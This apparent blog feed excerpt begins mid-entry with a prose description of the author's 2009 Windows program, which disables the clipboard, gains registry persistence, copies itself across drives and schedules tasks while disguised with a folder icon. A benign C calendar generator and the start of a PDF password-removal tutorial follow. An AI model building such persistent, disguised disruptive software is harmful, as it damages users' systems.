&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabling Clipboard (&lt;code&gt;no_clipboard()&lt;/code&gt;):&lt;/strong&gt; This function restricts the use of the clipboard by manipulating clipboard-related functions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Installation Procedure (&lt;code&gt;__instal__()&lt;/code&gt;):&lt;/strong&gt; The &lt;code&gt;__instal__()&lt;/code&gt; function is responsible for installing the application by modifying registry entries and ensuring persistence.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Copying Application (&lt;code&gt;__copy__()&lt;/code&gt;):&lt;/strong&gt; The &lt;code&gt;__copy__()&lt;/code&gt; function copies the application to specific locations on the system, ensuring its presence and functionality.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Copying Application to Multiple Locations (&lt;code&gt;__copy2__()&lt;/code&gt;):&lt;/strong&gt; The &lt;code&gt;__copy2__()&lt;/code&gt; function copies the application to multiple locations across different drives on the Windows system.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scheduling Task (&lt;code&gt;task_sck()&lt;/code&gt;):&lt;/strong&gt; The &lt;code&gt;task_sck()&lt;/code&gt; function attempts to create a scheduled task to run the application at specific times, adding another layer to the implemented security measures.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Installation and Copying:&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;__instal__()&lt;/code&gt; and &lt;code&gt;__copy__()&lt;/code&gt; functions were designed to install the application and copy it to specific locations in the system, ensuring persistence.&lt;/p&gt;

&lt;h3&gt;Scheduled Task Creation (&lt;code&gt;task_sck()&lt;/code&gt;):&lt;/h3&gt;
&lt;p&gt;I attempted to create a scheduled task to run the application at specific times, adding another layer to the strategy that leaned more towards making the program a cockroach nearly impossible to get rid of.&lt;/p&gt;

&lt;h3&gt;Unimplemented Code:&lt;/h3&gt;
&lt;p&gt;Some code related to checking if the application is running with administrator privileges (&lt;code&gt;IsRunAsAdmin()&lt;/code&gt; and &lt;code&gt;run_as_admin()&lt;/code&gt;) remains commented out, perhaps left for future consideration or refinement.&lt;/p&gt;

&lt;h2&gt;Reflection and Responsible Coding:&lt;/h2&gt;
&lt;p&gt;Upon revisiting this code from 2009, it's clear that its primary focus was to make the system unusable especially considering that its icon is the yellow folder icon typical of Windows folders. again please do not use this code to do harmful things. I share it only as an educational material to understand Windows systems in depth. Manipulating windows registry is an advanced practice after all&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="c++"></category><category term="Windows XP"></category><category term="Windows 7"></category><category term="registry"></category><category term="security practices"></category><category term="ethical coding"></category><category term="software development"></category><category term="historical code"></category><category term="responsible coding"></category><category term="technology evolution"></category></entry><entry><title>Sharing My Old Programs: A Journey into Calendar Generation</title><link href="https://mosaid.xyz/articles/sharing-my-old-programs-a-journey-into-calendar-generation-182.html" rel="alternate"></link><published>2024-01-21T18:39:36+00:00</published><updated>2024-01-21T18:39:36+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2024-01-21:/articles/sharing-my-old-programs-a-journey-into-calendar-generation-182.html</id><summary type="html">&lt;p&gt;Join me on a journey into calendar generation with a C program I crafted back in 2012. While newer methods and languages may exist, understanding the core ideas behind this code provides valuable insights. Step into my early programming days, as I share this fascinating example and the lessons learned along the way.&lt;/p&gt;</summary><content type="html">&lt;section&gt;
    &lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;
Welcome to this article where I take you on a journey into my early days of learning programming. In 2012, as a budding programmer, I created the C program presented below. It stands as a snapshot of my exploration into calendar generation, reflecting the challenges and triumphs of that learning phase. Though newer approaches and languages have since emerged, revisiting this piece of code allows me to share insights into the core ideas that fueled my early programming endeavors.
&lt;/p&gt;
&lt;p&gt;
As we delve into the code, keep in mind that this is one of my programs from a time when I was still discovering the intricacies of programming. The calendar generator serves as an interesting example, showcasing the steps I took in understanding and implementing fundamental concepts. Join me in exploring the core ideas behind this C program, and let's uncover the learning experiences embedded within its code.
&lt;/p&gt;
&lt;/section&gt;

&lt;pre class="language-c" &gt;
    &lt;code class="language-c" &gt;

#include&amp;lt;stdio.h&amp;gt;
FILE *f;//,*tx;
unsigned long int  A[4];
char *mois[14]={"  ","January","February","March","April","May","June","July"
                  ,"August","September","October","November","December"};
char *stjours[9]={"Mo","Tu","We","Th","Fr","Sa","Su"};
char *stjoursxt[9]={"Dimenche","Lundi","Mardi","Mercredi","Jeudi","Vendredi","Samedi"};
correction(unsigned long int a, int b)
{
    A[0]=a; // a= l'année
    A[1]=b; // b= le debut de janvier de l'année a

}
int demmande()
{
    printf("enter any year except 0 and 1 :");
    scanf("%D",&amp;amp;A[2]);
    if(A[2]&amp;lt;2)return 0;
    else return 1;
}
int nb_jours(unsigned long int a,int m) // a= année  , m= mois
{
    int t; // variable= nb_jours du mois m à retourner par la fonction
    if(m==2)
       if(a%4==0&amp;amp;&amp;amp;a%100!=0 || a%400==0) t=29;
       else t=28;
    else
      if(m%2==0 &amp;amp;&amp;amp; m&amp;lt;=7 || m%2!=0 &amp;amp;&amp;amp; m&amp;gt;7) t=30;
      else t=31;
    return t;
}
int debut(unsigned long int a,int m)
{
   int x,j,d;
   unsigned long int i;
   A[3]=0;
   i=A[0]; // la variable i prend la valeur de l'année de la 1ere correction du debut janvier
   x=A[1]; // la variable x prend l'index du jour du debout janvier
     do
      {
           correction(i,x); // en memorise l'année i  et l'index x du jour du  debut de son janvier
           // pour ne pas revenir à la valeur principale du debut janvier de l'année 2

           for(j=1;j&amp;lt;=12;j++)
           {
               if(i!=a || j!=m) // si on n'est pas aconre arriver à l'année saisis a et le mois m
                 {
                    x=x+nb_jours(i,j);
                    d=x%7;
                    x=d;
                    if(i!=a || j!=m)A[3]++;   // A[3] nbre d'operations avant arrivée à l'année désirée
                 }
               else break;
           }
           i++;
       }while(i&amp;lt;=a);
   if(m==1)   printf("\n    le programme a fais %d operations \n\n   pour trouver le debut de janvier %d \n",A[3],A[2]);
   return d;  // le debut du mois m de l'année a
}
remplissage(unsigned long int y)
{
  int i,j,a,n,k,m,v;

fprintf(f,"&amp;lt;html&amp;gt;\n");
fprintf(f,"&amp;lt;title&amp;gt;Calendrier Par MOSAID&amp;lt;/title&amp;gt;\n");
fprintf(f,"&amp;lt;script language=%cjavascript%c&amp;gt;\n",34,34);//%chidepic()%c

fprintf(f,"  function hidepic()\n");
fprintf(f,"     {\n");
fprintf(f,"       if(p.style.display==%cnone%c)\n",34,34);
fprintf(f,"       p.style.display=%c%c\n",34,34);
fprintf(f,"       else\n");
fprintf(f,"       p.style.display=%cnone%c\n",34,34);
fprintf(f,"     }\n");

fprintf(f,"  function hidepic1()\n");
fprintf(f,"     {\n");
fprintf(f,"       if(pd.style.display==%cnone%c)\n",34,34);
fprintf(f,"       pd.style.display=%c%c\n",34,34);
fprintf(f,"       else\n");
fprintf(f,"       pd.style.display=%cnone%c\n",34,34);
fprintf(f,"     }\n");

fprintf(f,"  function blinkit()\n");
fprintf(f,"    {\n");
fprintf(f,"         intrvl=0;\n");
fprintf(f,"         for(nTimes=0;nTimes&amp;lt;20;nTimes++)\n");
fprintf(f,"           {\n");
fprintf(f,"            intrvl = intrvl+400;\n");
fprintf(f,"            setTimeout(%cdocument.bgColor='#0000FF';%c,intrvl);\n",34,34);
fprintf(f,"            intrvl =intrvl+ 400;\n");
fprintf(f,"            setTimeout(%cdocument.bgColor='#FFFFFF';%c,intrvl);\n",34,34);
fprintf(f,"           }\n");
fprintf(f,"     }\n");
fprintf(f,"var pos = 20;\n");

fprintf(f,"function initArray()\n");
fprintf(f," {\n");
fprintf(f,"    this.length = initArray.arguments.length;\n");
fprintf(f,"    for (var i = 0; i &amp;lt; this.length; i++)\n");
fprintf(f,"     {\n");
fprintf(f,"       this[i] = initArray.arguments[i];\n");
fprintf(f,"     }\n");
fprintf(f,"}\n");
fprintf(f,"var col=new initArray();\n");

fprintf(f,"function start()\n");
fprintf(f,"{\n");
fprintf(f,"   col[1]=%cblack%c\n",34,34);
fprintf(f,"   col[2]=%cyellowgreen%c\n",34,34);
fprintf(f,"   col[3]=%cyellow%c\n",34,34);
fprintf(f,"   col[4]=%cwhitesmoke%c\n",34,34);
fprintf(f,"   col[5]=%cwhite%c\n",34,34);
fprintf(f,"   col[6]=%cwheat%c\n",34,34);
fprintf(f,"   col[7]=%cviolet%c\n",34,34);
fprintf(f,"   col[8]=%cturquoise%c\n",34,34);
fprintf(f,"   col[9]=%ctomato%c\n",34,34);
fprintf(f,"   col[10]=%cthistle%c\n",34,34);
fprintf(f,"   col[11]=%clightgreen%c\n",34,34);
fprintf(f,"   col[12]=%cpurple%c\n",34,34);
fprintf(f,"   col[13]=%crose%c\n",34,34);
fprintf(f,"   col[14]=%cbluesky%c\n",34,34);
fprintf(f,"   col[15]=%cblue%c\n",34,34);
fprintf(f,"   col[16]=%cred%c\n",34,34);
fprintf(f,"   col[17]=%cviolet%c\n",34,34);
fprintf(f,"   col[18]=%cpurple%c\n",34,34);
fprintf(f,"   col[19]=%ctomato%c\n",34,34);
fprintf(f,"   col[20]=%cthistle%c\n",34,34);
fprintf(f,"   pos++;\n");
fprintf(f,"   if (pos&amp;gt;=20)\n");
fprintf(f,"    {\n");
fprintf(f,"    pos = 0;\n");
fprintf(f,"    } \n");
fprintf(f,"  document.bgColor =col[pos];\n");
fprintf(f,"  loopID = setTimeout(%cstart()%c,2000);\n",34,34);
fprintf(f,"}\n");

fprintf(f,"function op()\n");
fprintf(f,"     {\n");
fprintf(f,"       var m;\n");
fprintf(f,"       var today;\n");
fprintf(f,"       m=window.open(%c%c,%ca%c,%cheight=450,width=600,toolbar=0,top=100,left=200,title=hhhhhhhhh%c);\n",34,34,34,34,34,34);
//fprintf(f,"       m.document.write(%c&amp;lt;script language=javascript&amp;gt;%c\n",34,34);
fprintf(f,"       m.document.write(%c&amp;lt;body background='backk/varr.jpg' text='#Fe0010'&amp;gt;%c);\n",34,34);
fprintf(f,"       m.document.write(%c&amp;lt;center&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;%c);\n",34,34);
//fprintf(f,"       m.document.write(today.getYear());\n");
fprintf(f,"       for(i=0;i&amp;lt;=2;i++)\n");
fprintf(f,"       m.document.write(%c&amp;lt;marquee&amp;gt;&amp;lt;font size=10&amp;gt;&amp;lt;b&amp;gt;Happy year&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/marquee&amp;gt;%c);\n",34,34);
fprintf(f,"       m.document.write(%c&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;%c);\n",34,34);
fprintf(f,"       m.document.write(%c&amp;lt;input type=button value=close onclick=window.close() &amp;gt;%c);\n",34,34);
fprintf(f,"    }\n");

fprintf(f,"&amp;lt;/script&amp;gt;\n");
fprintf(f,"&amp;lt;body onLoad=%cstart()%c   background=backk/bg6.jpg&amp;gt;\n\n",34,34);//&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;
fprintf(f,"&amp;lt;bgsound src=backk/4400.mp3 loop=400&amp;gt;\n");

  fprintf(f,"&amp;lt;center&amp;gt;&amp;lt;marquee scrollamount=20 direction=left&amp;gt;\n&amp;lt;font size=6 color=black&amp;gt;&amp;lt;b&amp;gt;  happy    year &amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/marquee&amp;gt;&amp;lt;/center&amp;gt;\n");
  fprintf(f,"&amp;lt;center&amp;gt; &amp;lt;font size=12 color=red&amp;gt;&amp;lt;blink&amp;gt;&amp;lt;big&amp;gt;&amp;lt;strong&amp;gt; %d &amp;lt;/big&amp;gt;&amp;lt;/strong&amp;gt; &amp;lt;/blink&amp;gt; &amp;lt;/font&amp;gt;&amp;lt;/center&amp;gt;\n",y);
  fprintf(f,"&amp;lt;center&amp;gt;&amp;lt;marquee scrollamount=20 direction=right&amp;gt;\n&amp;lt;font size=6 color=black&amp;gt;&amp;lt;b&amp;gt; ÓäÉ    ÓÚíÏÉ &amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/marquee&amp;gt;&amp;lt;/center&amp;gt;\n");
  fprintf(f,"&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;\n");
  fprintf(f,"&amp;lt;center&amp;gt;\n");
  for(k=1;k&amp;lt;=12;k++)
  {
      n=nb_jours(y,k);
      m=debut(y,k);
      if(y==2 &amp;amp;&amp;amp; k==1)m=2;

      if(k==1)fprintf(f,"&amp;lt;table width=100 height=100  border=0&amp;gt;&amp;lt;tr&amp;gt;\n");
      if(k&amp;lt;=4)fprintf(f,"&amp;lt;td&amp;gt;&amp;lt;table width=100 height=100 border=0&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;\n");
      if(k==5)fprintf(f,"&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;\n");
      if(k==5)fprintf(f,"&amp;lt;table width=100 height=100 border=0&amp;gt;\n");
      if(k&amp;gt;4&amp;amp;&amp;amp;k&amp;lt;=8)fprintf(f,"&amp;lt;td&amp;gt;&amp;lt;table width=100% height=100 border=0&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td &amp;gt;\n");
      if(k==9)fprintf(f,"&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;\n");
      if(k==9)fprintf(f,"&amp;lt;table width=100 height=100 border=0&amp;gt;\n");
      if(k&amp;gt;8)fprintf(f,"&amp;lt;td&amp;gt;&amp;lt;table  width=50 height=50     border=0&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;\n");
      if(k==9||k==10||k==11)fprintf(f,"&amp;lt;td background=months/1.jpg&amp;gt;\n");
      if(k==12||k==1||k==2)fprintf(f,"&amp;lt;td background=months/Winter.jpg&amp;gt;");
      if(k==3||k==4||k==5)fprintf(f,"&amp;lt;td background=months/2.jpg&amp;gt;\n");
      if(k==6||k==7||k==8)fprintf(f,"&amp;lt;td background=months/4.bmp&amp;gt;\n");
      fprintf(f,"&amp;lt;table width=200 height=10 align=center border=0&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;\n"); // tableau contenant le nom du mois
      fprintf(f,"&amp;lt;center&amp;gt;&amp;lt;font size=5 color=#008000&amp;gt;&amp;lt;b&amp;gt;%s&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;font size=4 color=#FF00FF&amp;gt;&amp;lt;b&amp;gt;                  %d &amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/center&amp;gt;\n",mois[k],k);
      fprintf(f,"&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;");

      fprintf(f,"&amp;lt;table  width=200 height=10 align=center border=0&amp;gt;&amp;lt;tr&amp;gt;\n");//tableau comtenant les jours de la semaine
      fprintf(f,"&amp;lt;i&amp;gt;&amp;lt;td&amp;gt;&amp;lt;font   color=tomato&amp;gt;&amp;lt;b&amp;gt;Su&amp;lt;/b&amp;gt;&amp;lt;td&amp;gt;&amp;lt;font   color=tomato&amp;gt;&amp;lt;b&amp;gt;Mo&amp;lt;/b&amp;gt;&amp;lt;td&amp;gt;&amp;lt;font   color=tomato&amp;gt;&amp;lt;b&amp;gt;Tu&amp;lt;/b&amp;gt;&amp;lt;td&amp;gt;\n&amp;lt;font   color=tomato&amp;gt;&amp;lt;b&amp;gt;We&amp;lt;/b&amp;gt;&amp;lt;td&amp;gt;&amp;lt;font   color=tomato&amp;gt;&amp;lt;b&amp;gt;Th&amp;lt;/b&amp;gt;&amp;lt;td&amp;gt;\n&amp;lt;font   color=tomato&amp;gt;&amp;lt;b&amp;gt;Fr&amp;lt;/b&amp;gt;&amp;lt;td&amp;gt;&amp;lt;font   color=tomato&amp;gt;&amp;lt;b&amp;gt;Sa&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/i&amp;gt;\n");
      fprintf(f,"&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;\n");

      a=1;  // variable allant de 1 au nb_jours n du mois k de l'année y


      fprintf(f,"&amp;lt;table width=200 height=10 align=center border=0&amp;gt;\n");    //tableau comtenant les jours du mois
      for(i=0;i&amp;lt;=5;i++)
       {
         fprintf(f,"&amp;lt;tr&amp;gt;");
         for(j=0;j&amp;lt;7;j++)
          {
            if(i==0 &amp;amp;&amp;amp; j&amp;lt;m) //si on est avant le debut m du mois
             {
              fprintf(f,"&amp;lt;td&amp;gt;");
              fprintf(f,"&amp;lt;font size=3 color=#8A2BE2&amp;gt;  &amp;lt;/font&amp;gt;\n");//
             }
           else
            {
              if(a&amp;lt;=n)// si l'iterations des jours a n'est pas encore arrivée au nb_jours (maximum) du mois k
               {
                        if(j==0) // si le jour j est un dimanche
                        {
                         fprintf(f,"&amp;lt;td&amp;gt;");
                         //fprintf(f,"&amp;lt;a href=m.html&amp;gt;");
                         fprintf(f," &amp;lt;font size=3 color=red&amp;gt;&amp;lt;b&amp;gt;   %.2d&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;\n",a);
                        }
                        else{

                              if(k==9||k==10||k==11) // si les mois 9,10 ou 11
                              {
                               fprintf(f,"&amp;lt;td&amp;gt;");
                               //fprintf(f,"&amp;lt;a href=m.html&amp;gt;");
                               fprintf(f,"&amp;lt;font size=3 color=violet&amp;gt;&amp;lt;b&amp;gt;   %.2d&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;\n",a);
                               }
                              if(k==3||k==4||k==5) // si les mois 3,4 ou 5
                              {
                               fprintf(f,"&amp;lt;td&amp;gt;");
                               //fprintf(f,"&amp;lt;a href=m.html&amp;gt;");
                               fprintf(f,"&amp;lt;font size=3 color=springgreen&amp;gt;&amp;lt;b&amp;gt;   %.2d&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;\n",a);
                              }
                              if(k==6||k==7||k==8) // si les mois  6,7 ou 8
                              {
                               fprintf(f,"&amp;lt;td&amp;gt;");
                               //fprintf(f,"&amp;lt;a href=m.html&amp;gt;");
                               fprintf(f,"&amp;lt;font size=3 color=magenta&amp;gt;&amp;lt;b&amp;gt;   %.2d&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;\n",a);
                              }
                              if(k==12||k==1||k==2) // si les mois  12,1 ou 2
                              {
                               fprintf(f,"&amp;lt;td&amp;gt;");
                               //fprintf(f,"&amp;lt;a href=m.html&amp;gt;");
                               fprintf(f,"&amp;lt;font size=3 color=white&amp;gt;&amp;lt;b&amp;gt;   %.2d&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;\n",a);
                              }
                            }
                      }
              if(a&amp;gt;n)
                 {
                     fprintf(f,"&amp;lt;td&amp;gt;");
                     fprintf(f,"&amp;lt;font size=3 color=#8A2BE2&amp;gt;  &amp;lt;/font&amp;gt;\n");
                 }
              a++;
            }
          }
         fprintf(f,"&amp;lt;/tr&amp;gt;\n");
       }
      fprintf(f,"&amp;lt;/table&amp;gt;\n");
      fprintf(f,"&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;\n");
  }
  fprintf(f,"&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;\n");
  fprintf(f,"&amp;lt;table  width=160 height=240 align=center border=0&amp;gt;&amp;lt;tr&amp;gt;\n");
  fprintf(f,"&amp;lt;td&amp;gt;&amp;lt;center&amp;gt;\n&amp;lt;img src=%cmonths/hamd.gif%c align=%ctexttop%c title=%cone click here%c name=t  id=%cpd%c  OnMouseOver=t.src=%cmonths/73846972.gif%c OnMouseOut=t.src=%cmonths/hamd.gif%c Onclick=%chidepic()%c&amp;gt;\n",34,34,34,34,34,34,34,34,34,34,34,34,34,34);
  fprintf(f,"&amp;lt;td background=backk/mosaid.gif&amp;gt;&amp;lt;center&amp;gt;&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;&amp;lt;font size=2 color=white&amp;gt;\n   &amp;amp;#169 mosaid radouan  &amp;lt;br&amp;gt;  E mail : mosaid_radouan@yahoo.fr &amp;lt;/font&amp;gt; &amp;lt;b&amp;gt;&amp;lt;i&amp;gt;&amp;lt;br&amp;gt;  \n&amp;lt;/center&amp;gt; \n");

  fprintf(f,"&amp;lt;td&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;img  id=%cp%c p.style.display=%cnone%c src=%cmonths/heart.gif%c name=m title=%cdouble click here%c onclick=%chidepic1()%c  ondblclick=%cop()%c &amp;gt;\n",34,34,34,34,34,34,34,34,34,34,34,34,34,34);
  fprintf(f,"&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;\n");

  fprintf(f,"&amp;lt;/body&amp;gt;\n");
  fprintf(f,"&amp;lt;/html&amp;gt;\n");

}
main()
{
int t;
f=fopen("calendrier.html","w+");
//tx=fopen("index.log","w+");
correction(2,2);//correction(1900,1);   // le mois 1 de 1900 commence le lundi noté le jour 1
//fprintf(tx,"\n correction:  %d   ---&amp;gt;(debut janvier)  %s = %d      ***** iterations=%d\n\n",A[0],stjoursxt[A[1]],A[1],A[3]);
do
 {
  t=demmande();
 }while(t==0);
remplissage(A[2]);
fclose(f);
//fclose(g);

printf("\n\n            produced by mosaid radouan\n\n");
printf("                                         you can see the html file now.\n\n");
system("pause");
}




&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;section&gt;
&lt;h2&gt;Understanding the Code&lt;/h2&gt;
&lt;p&gt;
The C program begins with the function call &lt;code&gt;correction(2, 2)&lt;/code&gt;, which sets the starting point for the calendar generation. In this context, it means that January 1st of year 2 is considered day 2 (Tuesday). This initial correction is crucial as it serves as the reference point for calculating the days of the week for subsequent years and months. this correction was&lt;code&gt; correction(1900,1);&lt;/code&gt; meaning January 1 of the year 1900 was day "1" ie Monday. I remember getting it from my phone at the time (Motorola or nokia I don't remember). by scrolling down untill the limit (1900). I don't remember where I got the other correction.
&lt;/p&gt;
&lt;p&gt;
The calendar generation logic continues within the &lt;code&gt;while&lt;/code&gt; loop in the function &lt;code&gt;int debut(unsigned long int a, int m)&lt;/code&gt;. This function calculates the starting day of month "m" of year "a" while storing the January 1st of year "a" in the function &lt;code&gt;correction(unsigned long int a, int b)&lt;/code&gt;. The &lt;code&gt;correction&lt;/code&gt; function memorizes the year "a" and the index "b" of the day of the week for the beginning of its January.
&lt;/p&gt;
&lt;p&gt;
The iterative nature of the code ensures accurate calculation of days and months, taking into account leap years and variations in the number of days in each month. The &lt;code&gt;nb_jours&lt;/code&gt; function is used to determine the number of days in a given month, considering leap years.
&lt;/p&gt;
&lt;/section&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;section&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;How&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;Use&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;Code&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;To&lt;span class="w"&gt; &lt;/span&gt;use&lt;span class="w"&gt; &lt;/span&gt;this&lt;span class="w"&gt; &lt;/span&gt;calendar&lt;span class="w"&gt; &lt;/span&gt;generation&lt;span class="w"&gt; &lt;/span&gt;code,&lt;span class="w"&gt; &lt;/span&gt;follow&lt;span class="w"&gt; &lt;/span&gt;these&lt;span class="w"&gt; &lt;/span&gt;steps:
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;ol&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&lt;/span&gt;Compile&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;C&lt;span class="w"&gt; &lt;/span&gt;program.&lt;span class="nt"&gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&lt;/span&gt;Run&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;executable&lt;span class="w"&gt; &lt;/span&gt;and&lt;span class="w"&gt; &lt;/span&gt;input&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;desired&lt;span class="w"&gt; &lt;/span&gt;year&lt;span class="w"&gt; &lt;/span&gt;when&lt;span class="w"&gt; &lt;/span&gt;prompted.&lt;span class="nt"&gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&lt;/span&gt;Open&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;generated&lt;span class="w"&gt; &lt;/span&gt;HTML&lt;span class="w"&gt; &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;view&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;calendar&lt;span class="w"&gt; &lt;/span&gt;for&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;specified&lt;span class="w"&gt; &lt;/span&gt;year.&lt;span class="nt"&gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/ol&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/section&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/182-calendar-c-programming.png" alt="Screenshot calendar generated by c program" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Calendar of the year 105 generated by this C program&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;section&gt;
&lt;h2&gt;Customization and Further Development&lt;/h2&gt;
&lt;p&gt;
The provided C program is a starting point that you can customize and expand upon. Consider incorporating modern HTML and CSS techniques to enhance the visual presentation of the calendar. Additionally, explore how you can adapt the core logic for different use cases or integrate it into other projects.
&lt;/p&gt;
&lt;/section&gt;

&lt;section&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;
In conclusion, exploring old C programs like this one can be a valuable learning experience. The principles demonstrated in this calendar generator can be applied and adapted to various programming languages. Feel free to experiment, modify, and build upon this foundation to create your own calendar generation projects.
&lt;/p&gt;
&lt;/section&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="calendar generation"></category><category term="C programming"></category><category term="code example"></category><category term="programming journey"></category><category term="early programming"></category><category term="code insights"></category><category term="software development"></category><category term="algorithm"></category><category term="calendar generator"></category><category term="programming lessons"></category><category term="coding exploration"></category><category term="c++"></category><category term="cpp"></category><category term="cplusplus"></category></entry><entry><title>Unlock PDFs: A Professional Python Guide for Password Removal</title><link href="https://mosaid.xyz/articles/unlock-pdfs-a-professional-python-guide-for-password-removal-178.html" rel="alternate"></link><published>2024-01-15T18:32:58+00:00</published><updated>2024-01-15T18:32:58+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2024-01-15:/articles/unlock-pdfs-a-professional-python-guide-for-password-removal-178.html</id><summary type="html">&lt;p&gt;Unlock PDFs effortlessly with this Python guide! Learn to remove password protection using a streamlined script. Craft a virtual workspace, install the necessary packages, and create a shell script for seamless PDF liberation. Elevate your professional wizardry and bid farewell to PDF password constraints&lt;/p&gt;</summary><content type="html">&lt;p&gt;Unlocking password-protected PDFs may seem like a daunting task, but fear not—we're about to navigate this challenge with the precision of a seasoned professional. In this tutorial, we'll employ a Python script to gracefully remove password protection from PDFs. Buckle up for a journey through virtual environments, package installations, and the creation of a streamlined shell script.&lt;/p&gt;

&lt;h2&gt;Step 1: Crafting Your Virtual Workspace&lt;/h2&gt;

&lt;p&gt;Begin by establishing a controlled environment for our operations. Open your terminal and execute the following commands:&lt;/p&gt;

&lt;pre class="language-terminal" &gt;
    &lt;code class="language-terminal" &gt;

python3 -m venv ~/bin/venv
source "${HOME}/bin/venv/bin/activate"

&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This sets the stage for a confined space where our operations won't interfere with other spells in your magical repertoire.&lt;/p&gt;

&lt;h2&gt;Step 2: Acquiring the Necessary Components&lt;/h2&gt;

&lt;p&gt;Every professional wizard needs the right tools. In our case, it's the &lt;code&gt;PyMuPDF&lt;/code&gt; package. Install it with the following command:&lt;/p&gt;

&lt;pre class="language-terminal" &gt;
    &lt;code class="language-terminal" &gt;

pip install PyMuPDF

&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This package equips us with the necessary spells to manipulate PDFs seamlessly.&lt;/p&gt;

